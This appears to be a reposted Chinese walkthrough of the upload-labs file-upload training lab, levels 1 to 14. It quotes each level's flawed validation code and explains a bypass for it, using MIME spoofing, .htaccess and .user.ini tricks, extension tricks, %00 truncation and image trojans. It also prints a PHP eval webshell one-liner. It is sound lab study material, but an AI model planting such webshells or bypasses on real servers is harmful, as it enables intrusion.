upload-labs(文件上传)
Posted npfs
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了upload-labs(文件上传)相关的知识,希望对你有一定的参考价值。
Pass-01
考察点:前端绕过
各种文件都上传一遍,发现上传.php文件时,alert:该文件不允许上传,请上传.jpg|.png|.gif,当前文件类型为:php
,这表明验证点在前端(js),而不在服务端.
F12找找js源码,整理如下:
function checkFile() {
var file = document.getElementsByName(‘upload_file‘)[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
直接修改js代码或者上传一个有一句话木马<?php @eval($_POST[value]);?>
的符合题目后缀要求的文件,抓包修改请求内容绕过,蚁剑链接
Pass-02
考察点:服务器端MIME绕过
$is_upload = false;
$msg = null;
if (isset($_POST[‘submit‘])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES[‘upload_file‘][‘type‘] == ‘image/jpeg‘) || ($_FILES[‘upload_file‘][‘type‘] == ‘image/png‘)
|| ($_FILES[‘upload_file‘][‘type‘] == ‘image/gif‘)) {
$temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
$img_path = UPLOAD_PATH . ‘/‘ . $_FILES[‘upload_file‘][‘name‘]
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = ‘上传出错!‘;
}
} else {
$msg = ‘文件类型不正确,请重新上传!‘;
}
} else {
$msg = UPLOAD_PATH.‘文件夹不存在,请手工创建!‘;
}
}
很明显对Content-Type进行了检查,抓包更改Content-Type进行绕过即可,上传成功,蚁剑连接
Pass-03
考察点 黑名单过滤
上传一个写有AddType application/x-httpd-php .jpg
的.htaccess文件,然后再上传一个写有一句话木马的.jpg文件,蚁剑连接。
.htaccess作用:可以把 .jpg后缀格式的文件名以php格式解析,因此达到了可执行的效果
Pass-04
考察点 .htaccess绕过
同上
Pass-05
考察点 .user.ini
做法类似.htaccess,上传一个写有auto_prepend_file=1.jpg
为后缀的.user.ini文件,然后在上传一个写有一句话木马的jpg文件,上传成功后,蚁剑连接,但是要注意,题目提示上传目录存在php文件(readme.php)
所以蚁剑连接的时候要把文件名改成readme.php
.user.ini作用 所有的php文件都自动包含jpg文件
Pass-06
考察点 大小写绕过
看源码,黑名单几乎过滤了所有后缀包括.htaccess,但是发现没有对大小写设置,抓包改下大小写绕过
Pass-07
考察点 空格绕过
空格过滤,直接抓包加空格就好了
Pass-08
考察点 点号绕过
抓包加点
Pass-09
考察点 ::$DATA绕过
::$DATA作用:php在windows中如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名(Windows文件流特性)
上传一句话木马的.php后缀文件,抓包加::$DATA,上传成功,蚁剑连接(连接的时候要把文件名的::$DATA去掉)
Pass-10
考察点 .[空格].绕过
注意拼接部分$img_path = UPLOAD_PATH.‘/‘.$file_name;
最后保存的是原始文件,而不是经过检测的文件
Pass-11
考察点 双写绕过
$file_name = str_ireplace($deny_ext,"", $file_name);
很明显是双写绕过,str_ireplace()函数的作用如下:
把字符串 "Hello world!" 中的字符 "WORLD"(不区分大小写)替换成 "Shanghai":
<?php
echo str_ireplace("WORLD","Shanghai","Hello world!");
?>
抓包,把.php后缀改为.pphphp,成功绕过
Pass-12
考察点 00截断(GET)
截断条件:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态
原理:
url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
使用情况:
上传时路径可控,使用00截断
文件下载时,00截断绕过白名单检查
文件包含时,00截断后面限制(主要是本地包含时)
其它与文件操作有关的地方都可能使用00截断。
$img_path = $_GET[‘save_path‘]."/".rand(10, 99).date("YmdHis").".".$file_ext;
构造sava_path=/upload/1.php%00
绕过
Pass-13
考察点 00截断(POST)
$img_path = $_POST[‘save_path‘]."/".rand(10, 99).date("YmdHis").".".$file_ext;
原理同上,但由于save_path参数通过POST方式传递,而POST不会像GET那样对%00进行自动解码,所以需要在二进制中进行修改 ,将hex改为00
Pass-14
考察点 图片马上传
可以将图片带入到PHP代码里,从而导致PHP代码执行
图片马制作
GIF的文件头GIF89a ,ZIP压缩文件文件头PK ,7z压缩文件文件头7z
法1.创建一个空的.php文件,用notepad++写入GIF89a <?php @eval($_POST[value]);?>
法2.gif后缀文件,用notepad++写入一句话木马
把制作好的图片马上传,打开文件包含漏洞
发送GET请求?file=upload/图片文件名
,蚁剑连接即可
以上是关于upload-labs(文件上传)的主要内容,如果未能解决你的问题,请参考以下文章